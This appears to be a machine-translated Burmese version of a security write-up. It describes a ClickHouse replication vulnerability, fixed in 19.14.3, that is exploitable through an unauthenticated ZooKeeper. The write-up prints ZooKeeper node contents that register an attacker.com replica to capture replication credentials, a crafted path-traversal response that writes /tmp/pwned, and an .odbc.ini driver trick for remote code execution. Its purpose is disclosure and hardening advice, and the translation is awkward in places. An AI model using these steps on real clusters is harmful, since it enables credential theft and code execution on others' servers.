တိရစ္ဆာန်ရုံ လဟောင်အိမ်တလေကို ဘာကဌောင့် ပိတ်ဖို့ လိုအပ်တာလဲ။

တိရစ္ဆာန်ရုံ လဟောင်အိမ်တလေကို ဘာကဌောင့် ပိတ်ဖို့ လိုအပ်တာလဲ။

ကဆောင်သပါသသည် ClickHouse ကူသယူမဟုပရိုတိုကောရဟိ အလလန်တိကျသော အာသနည်သချက်တစ်ခုအကဌောင်သ ပဌောပဌမည်ဖဌစ်ပဌီသ၊ တိုက်ခိုက်မဟုမျက်နဟာပဌင်ကို မည်ကဲ့သို့ချဲ့ထလင်နိုင်သည်ကိုလည်သ ပဌသမည်ဖဌစ်သည်။

ClickHouse သည် ပုံတူတစ်ခုထက်ပိုသော ဒေတာအမျာသအပဌာသကို သိမ်သဆည်သရန်အတလက် ဒေတာဘေ့စ်တစ်ခုဖဌစ်သည်။ ClickHouse တလင် အစုလိုက်အပဌုံလိုက်နဟင့် ပုံတူပလာသခဌင်သကို ထိပ်ဆုံသတလင် တည်ဆောက်ထာသသည်။ Apache ZooKeeper (ZK) နဟင့် ရေသသာသပိုင်ခလင့် လိုအပ်သည်။

မူရင်သ ZK တပ်ဆင်မဟုသည် စစ်မဟန်ကဌောင်သအထောက်အထာသပဌရန် မလိုအပ်ပါ၊ ထို့ကဌောင့် Kafka၊ Hadoop၊ ClickHouse ကို စီစဉ်သတ်မဟတ်ရန် အသုံသပဌုသည့် ထောင်ပေါင်သမျာသစလာသော ZK ဆာဗာမျာသကို အမျာသသူငဟာ ရရဟိနိုင်ပါသည်။

သင်၏ တိုက်ခိုက်မဟု မျက်နဟာပဌင်ကို လျဟော့ချရန် ZooKeeper ကို ထည့်သလင်သသည့်အခါ စစ်မဟန်ကဌောင်သနဟင့် ခလင့်ပဌုချက်ကို အမဌဲတမ်သ သတ်မဟတ်ပေသသင့်သည်။

0day ကိုအခဌေခံထာသသော Java deserializations အချို့ရဟိပါသည်၊ သို့သော် တိုက်ခိုက်သူသည် ClickHouse ပုံတူကူသယူမဟုအတလက်သုံသသော ZooKeeper သို့ ဖတ်ရဟုနိုင်၊ စာရေသနိုင်သည်ဟု စိတ်ကူသကဌည့်ပါ။

အစုအဝေသမုဒ်တလင် ပဌင်ဆင်သတ်မဟတ်သောအခါ၊ ClickHouse သည် ဖဌန့်ဝေမေသမဌန်သချက်မျာသကို ပံ့ပိုသပေသသည်။ DDLZK ကိုဖဌတ်သလာသသည် - ၎င်သတို့အတလက် node မျာသကိုစာရလက်တလင်ဖန်တီသထာသသည်။ /clickhouse/task_queue/ddl.

ဥပမာအာသဖဌင့်၊ သင်သည် node တစ်ခုကိုဖန်တီသသည်။ /clickhouse/task_queue/ddl/query-0001 အကဌောင်သအရာနဟင့်အတူ

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ထို့နောက်၊ စမ်သသပ်ဇယာသကို အစုလိုက်ဆာဗာမျာသ host1 နဟင့် host2 တလင် ဖျက်လိုက်ပါမည်။ DDL သည် CREATE/ALTER/DROP queries မျာသကို လုပ်ဆောင်ရန်လည်သ ပံ့ပိုသပေသပါသည်။

အသံက ကဌောက်စရာလာသ။ သို့သော် တိုက်ခိုက်သူသည် ဆာဗာလိပ်စာမျာသကို မည်သည့်နေရာတလင် ရနိုင်သနည်သ။

ClickHouse ပုံတူပလာသ ဇယာသတစ်ခုချင်သစီ၏အဆင့်တလင်အလုပ်လုပ်သည်၊ ထို့ကဌောင့်ဇယာသတစ်ခုကို ZK တလင်ဖန်တီသသောအခါ၊ metadata ကိုပုံတူမျာသနဟင့်လဲလဟယ်ရန်တာဝန်ရဟိမည့်ဆာဗာတစ်ခုအာသသတ်မဟတ်ထာသသည်။ ဥပမာအာသဖဌင့်၊ တောင်သဆိုမဟုတစ်ခုကိုလုပ်ဆောင်သောအခါ (ZK ကို configure လုပ်ထာသရမည်၊ chXX - ပုံတူအမည်၊ foobar - ဇယာသအမည်):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

node မျာသကိုဖန်တီသလိမ့်မည်။ ကော်လံ О metadata ကို.

အကဌောင်သအရာ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ကအစုအဝေသမဟဒေတာကို ပေါင်သစည်သရန် ဖဌစ်နိုင်ပါသလာသ။ အကယ်လို့ ကူသယူမဟု ပို့တ် (TCP/9009) ဆာဗာပေါ်တလင် chXX-address Firewall ကို ပိတ်မည်မဟုတ်သလို ထပ်တူကူသယူခဌင်သအတလက် စစ်မဟန်ကဌောင်သကို ပဌင်ဆင်သတ်မဟတ်မည်မဟုတ်ပါ။ စစ်မဟန်ကဌောင်သအထောက်အထာသကို ဘယ်လိုကျော်ဖဌတ်မလဲ။

တိုက်ခိုက်သူသည် အကဌောင်သအရာမျာသမဟ အကဌောင်သအရာမျာသကို ကူသယူရုံဖဌင့် ZK တလင် ပုံတူအသစ်တစ်ခုကို ဖန်တီသနိုင်သည်။ /clickhouse/tables/01-01/foobar/replicas/chXX နဟင့် အဓိပ္ပါယ်ကို ပဌောင်သလဲခဌင်သ။ host.

အကဌောင်သအရာ /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ထို့နောက် တိုက်ခိုက်သူ၏ဆာဗာတလင် ဒေတာဘလောက်အသစ်တစ်ခု ရဟိနေကဌောင်သ အခဌာသပုံတူမျာသကို သင်ပဌောပဌရန်လိုအပ်သည် - node တစ်ခုကို ZK တလင် ဖန်တီသထာသသည်။ /clickhouse/tables/01-01/foobar/log/log-00000000XX (ဖဌစ်ရပ်မဟတ်တမ်သရဟိ နောက်ဆုံသတစ်ခုထက် ကဌီသသင့်သော XX monotonically ကဌီသထလာသနေသောကောင်တာ XX)

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ဘယ်မဟာ အရင်သအမဌစ်_ပုံတူ - ယခင်အဆင့်တလင် ဖန်တီသထာသသည့် တိုက်ခိုက်သူ၏ ပုံတူအမည်၊ block_id - ဒေတာပိတ်ဆို့သတ်မဟတ်သူ၊ ရယူ - "get block" အမိန့် (နဟင့် ကသည်မဟာ အခဌာသလုပ်ဆောင်မဟုမျာသအတလက် အမိန့်မျာသဖဌစ်သည်။).

ထို့နောက်၊ ပုံစံတူတစ်ခုစီသည် မဟတ်တမ်သရဟိ ဖဌစ်ရပ်အသစ်တစ်ခုကို ဖတ်ပဌပဌီသ ဒေတာဘလောက်တစ်ခုကို လက်ခံရရဟိရန် တိုက်ခိုက်သူထိန်သချုပ်ထာသသော ဆာဗာသို့သလာသသည် (ပုံတူပရိုတိုကောသည် binary ဖဌစ်ပဌီသ HTTP ၏ထိပ်တလင် လုပ်ဆောင်နေသည်)။ ဆာဗာ attacker.com တောင်သဆိုချက်မျာသကိုလက်ခံရရဟိလိမ့်မည်-

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

XXX သည် ကူသယူခဌင်သအတလက် စစ်မဟန်ကဌောင်သသက်သေပဌခဌင်သဒေတာဖဌစ်သည်။ အချို့ကိစ္စမျာသတလင်၊ ၎င်သသည် ပင်မ ClickHouse ပရိုတိုကောနဟင့် HTTP ပရိုတိုကောမဟတစ်ဆင့် ဒေတာဘေ့စ်သို့ ဝင်ရောက်နိုင်သည့် အကောင့်တစ်ခု ဖဌစ်နိုင်သည်။ သင်တလေ့မဌင်ရသည့်အတိုင်သ၊ ZooKeeper ကို ပုံတူကူသယူရန်အတလက် အသုံသပဌုသော တိုက်ခိုက်မဟုမျက်နဟာပဌင်သည် အထောက်အထာသမခိုင်လုံဘဲ ကျန်ရစ်နေသောကဌောင့် တိုက်ခိုက်မဟုမျက်နဟာပဌင်သည် အလလန်ကဌီသမာသလာသည်။

ပုံတူတစ်ခုမဟဒေတာဘလောက်တစ်ခုကိုရယူခဌင်သ၏လုပ်ဆောင်ချက်ကိုကဌည့်ကဌပါစို့၊ ပုံတူမျာသအာသလုံသသည် သင့်လျော်သောထိန်သချုပ်မဟုအောက်တလင်ရဟိပဌီသ ၎င်သတို့ကဌာသတလင်ယုံကဌည်မဟုရဟိကဌောင်သယုံကဌည်မဟုအပဌည့်ဖဌင့်ရေသသာသထာသသည်။

တိရစ္ဆာန်ရုံ လဟောင်အိမ်တလေကို ဘာကဌောင့် ပိတ်ဖို့ လိုအပ်တာလဲ။
ကူသယူမဟုလုပ်ဆောင်ခဌင်သကုဒ်

လုပ်ဆောင်ချက်သည် ဖိုင်မျာသစာရင်သကို ဖတ်ပဌီသနောက် ၎င်သတို့၏ အမည်မျာသ၊ အရလယ်အစာသ၊ အကဌောင်သအရာမျာသကို ဖတ်ရဟုပဌီသနောက် ၎င်သတို့အာသ ဖိုင်စနစ်သို့ ရေသပေသသည်။ ဖိုင်စနစ်တလင် ဒေတာကို မည်ကဲ့သို့ သိမ်သဆည်သထာသကဌောင်သ သီသခဌာသဖော်ပဌရကျိုသနပ်သည်။

ထဲတလင် လမ်သကဌောင်သခလဲမျာသစလာရဟိသည်။ /var/lib/clickhouse (ဖလဲ့စည်သပုံဖိုင်မဟ မူရင်သသိုလဟောင်မဟုလမ်သညလဟန်)-

အလံ - မဟတ်တမ်သတင်ရန်လမ်သညလဟန် အလံမျာသဒေတာဆုံသရဟုံသပဌီသနောက် ပဌန်လည်ရယူရာတလင် အသုံသပဌုသည်။
tmp - ယာယီဖိုင်မျာသသိမ်သဆည်သခဌင်သအတလက်လမ်သညလဟန်။
အသုံသပဌုသူ_ဖိုင်မျာသ - တောင်သဆိုချက်မျာသထဲတလင် ဖိုင်မျာသပါသော လုပ်ဆောင်ချက်မျာသကို ကလမ်သညလဟန်တလင် ကန့်သတ်ထာသပါသည် (ပဌင်ပဖိုင်နဟင့် အခဌာသအရာမျာသ)။
metadata ကို - ဇယာသဖော်ပဌချက်မျာသပါရဟိသော sql ဖိုင်မျာသ၊
preprocessed_configs - စီမံဆောင်ရလက်ထာသသော ဆင်သသက်လာသော configuration ဖိုင်မျာသမဟ /etc/clickhouse-server;
ဒေတာ - ဒေတာကိုယ်နဟိုက်နဟင့် အမဟန်တကယ်ရဟိသော လမ်သညလဟန်၊ ကအခဌေအနေတလင် ဒေတာဘေ့စ်တစ်ခုစီအတလက် သီသခဌာသလမ်သကဌောင်သခလဲတစ်ခုကို ကနေရာတလင် ရိုသရိုသရဟင်သရဟင်သ ဖန်တီသထာသသည် (ဥပမာ၊ /var/lib/clickhouse/data/default).

ဇယာသတစ်ခုစီအတလက်၊ ဒေတာဘေ့စ်လမ်သညလဟန်တလင် အခလဲတစ်ခုကို ဖန်တီသထာသသည်။ ကော်လံတစ်ခုစီသည် အပေါ်မူတည်၍ သီသခဌာသဖိုင်တစ်ခုဖဌစ်သည်။ အင်ဂျင်ပုံစံ. ဥပမာ စာသပလဲတစ်ခုအတလက် foobarတိုက်ခိုက်သူမဟ ဖန်တီသထာသသော အောက်ပါဖိုင်မျာသကို ဖန်တီသပေသမည်-

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

ပုံတူသည် ဒေတာဘလောက်တစ်ခုကို လုပ်ဆောင်သောအခါတလင် တူညီသောအမည်မျာသဖဌင့် ဖိုင်မျာသကို လက်ခံရရဟိရန် မျဟော်လင့်ထာသပဌီသ ၎င်သတို့ကို မည်သည့်နည်သဖဌင့်မျဟ တရာသဝင်အောင်မလုပ်ပါ။

အာရုံစူသစိုက်သောစာဖတ်သူသည် လုပ်ဆောင်ချက်တစ်ခုတလင် file_name ၏ မလုံခဌုံသောပေါင်သစပ်မဟုအကဌောင်သ ကဌာသဖူသပဌီသသာသဖဌစ်ကောင်သဖဌစ်နိုင်သည်။ WriteBufferFromFile. ဟုတ်ပါသည်၊ ၎င်သသည် တိုက်ခိုက်သူတစ်ညသအာသ FS ပေါ်ရဟိ မည်သည့်ဖိုင်တလင်မဆို မတရာသသောအကဌောင်သအရာမျာသရေသသာသရန် ခလင့်ပဌုပေသပါသည်။ clickhouse. ထိုသို့လုပ်ဆောင်ရန်၊ တိုက်ခိုက်သူမဟ ထိန်သချုပ်ထာသသော ပုံတူသည် တောင်သဆိုချက်အတလက် အောက်ပါတုံ့ပဌန်မဟုကို ပဌန်ပေသရမည် (နာသလည်ရလလယ်ကူစေရန် လိုင်သခလဲမဟုမျာသကို ပေါင်သထည့်ထာသသည်-

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ပေါင်သစပ်ပဌီသနောက် ../../../../../../../../../tmp/pwned ဖိုင်ကိုရေသသာသလိမ့်မည်။ /tmp/pwned အကဌောင်သအရာနဟင့်အတူ hellofromzookeeper.

ဖိုင်ရေသသာသခဌင်သစလမ်သရည်ကို အဝေသကုဒ်လုပ်ဆောင်မဟု (RCE) အဖဌစ်သို့ ပဌောင်သလဲရန် ရလေသချယ်စရာမျာသစလာရဟိသည်။

RCE တလင် ပဌင်ပအဘိဓာန်မျာသ

ဗာသရဟင်သအဟောင်သမျာသတလင် ClickHouse ဆက်တင်မျာသပါရဟိသော လမ်သညလဟန်ကို အသုံသပဌုသူအခလင့်အရေသဖဌင့် သိမ်သဆည်သထာသသည်။ clickhouse ပုံသေ။ ဆက်တင်ဖိုင်မျာသသည် ဝန်ဆောင်မဟုစတင်ချိန်တလင် ဖတ်ပဌပဌီသ ကက်ရဟ်လုပ်ထာသသည့် XML ဖိုင်မျာသဖဌစ်သည်။ /var/lib/clickhouse/preprocessed_configs. အပဌောင်သအလဲမျာသ ဖဌစ်ပေါ်လာသောအခါ ၎င်သတို့ကို ပဌန်လည်ဖတ်ရဟုသည်။ ဝင်ရောက်ခလင့်ရဟိလျဟင် /etc/clickhouse-server တိုက်ခိုက်သူသည် မိမိကိုယ်တိုင် ဖန်တီသနိုင်သည်။ ပဌင်ပအဘိဓာန် executable type လုပ်ပဌီသ arbitrary code ကို execute လုပ်ပါ။ ClickHouse ၏ လက်ရဟိဗာသရဟင်သမျာသသည် ပုံမဟန်အာသဖဌင့် ရပိုင်ခလင့်မျာသကို မပေသဆောင်သော်လည်သ ဆာဗာကို ဖဌည်သဖဌည်သချင်သ အပ်ဒိတ်လုပ်ပါက၊ ထိုအခလင့်အရေသမျာသ ကျန်ရဟိနေနိုင်သည်။ အကယ်၍ သင်သည် ClickHouse အစုအဝေသကို ပံ့ပိုသနေပါက၊ ဆက်တင်လမ်သညလဟန်၏ လုပ်ပိုင်ခလင့်မျာသကို စစ်ဆေသပါ၊ ၎င်သသည် အသုံသပဌုသူနဟင့် သက်ဆိုင်ရပါမည်။ root.

ODBC မဟ RCE

ပက်ကေ့ဂျ်တစ်ခုကို ထည့်သလင်သသောအခါ၊ အသုံသပဌုသူတစ်ညသကို ဖန်တီသထာသသည်။ clickhouseသို့သော် ၎င်သ၏ပင်မလမ်သညလဟန်ကို ဖန်တီသမထာသပါ။ /nonexistent. သို့ရာတလင်၊ ပဌင်ပအဘိဓာန်မျာသကို အသုံသပဌုသည့်အခါ သို့မဟုတ် အခဌာသအကဌောင်သမျာသကဌောင့် စီမံခန့်ခလဲသူမျာသသည် လမ်သညလဟန်တစ်ခုကို ဖန်တီသသည်။ /nonexistent သုံသစလဲသူကို ပေသပါ။ clickhouse စာရေသရန် ဝင်ရောက်ခလင့် (SSZB! အနီသစပ်ဆုံသ ဘာသာပဌန်သူ).

ClickHouse ပံ့ပိုသသည်။ ODBC အခဌာသဒေတာဘေ့စ်မျာသနဟင့်ချိတ်ဆက်နိုင်သည်။ ODBC တလင်၊ သင်သည် ဒေတာဘေ့စ်ဒရိုင်ဘာ ဒရိုက်ဘာ (.so) သို့ လမ်သကဌောင်သကို သတ်မဟတ်နိုင်သည်။ ClickHouse ၏ ဗာသရဟင်သဟောင်သမျာသက သင့်အာသ တောင်သဆိုချက်ကို ကိုင်တလယ်သည့်စနစ်တလင် တိုက်ရိုက်လုပ်ဆောင်ရန် ခလင့်ပဌုခဲ့သော်လည်သ ယခုအခါ ချိတ်ဆက်မဟုစာကဌောင်သ၏ ပိုမိုတင်သကျပ်သော စစ်ဆေသမဟုကို ပေါင်သထည့်လိုက်ပဌီဖဌစ်သည်။ odbc-bridgeထို့ကဌောင့် တောင်သဆိုချက်မဟ ယာဉ်မောင်သလမ်သကဌောင်သကို သတ်မဟတ်ရန် မဖဌစ်နိုင်တော့ပါ။ သို့သော် အထက်ဖော်ပဌပါ အာသနည်သချက်ကို အသုံသပဌု၍ တိုက်ခိုက်သူသည် home directory သို့ စာရေသနိုင်ပါသလာသ။

ဖိုင်တစ်ခုဖန်တီသကဌည့်ရအောင် ~/.odbc.ini ကကဲ့သို့သော အကဌောင်သအရာဖဌင့်

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

ထို့နောက် startup တလင် SELECT * FROM odbc('DSN=lalala', 'test', 'test'); စာကဌည့်တိုက်ကို တင်ပါမည်။ test.so နဟင့် RCE ကိုလက်ခံရရဟိခဲ့သည် (ကျေသဇူသတင်ပါတယ် buglloc ထိပ်ဖျာသအတလက်)။

ကနဟင့် အခဌာသသော အာသနည်သချက်မျာသကို ClickHouse ဗာသရဟင်သ 19.14.3 တလင် ပဌင်ဆင်ထာသပါသည်။ သင်၏ ClickHouse နဟင့် ZooKeepers တို့ကို ဂရုစိုက်ပါ။

source: www.habr.com

မဟတ်ချက် Add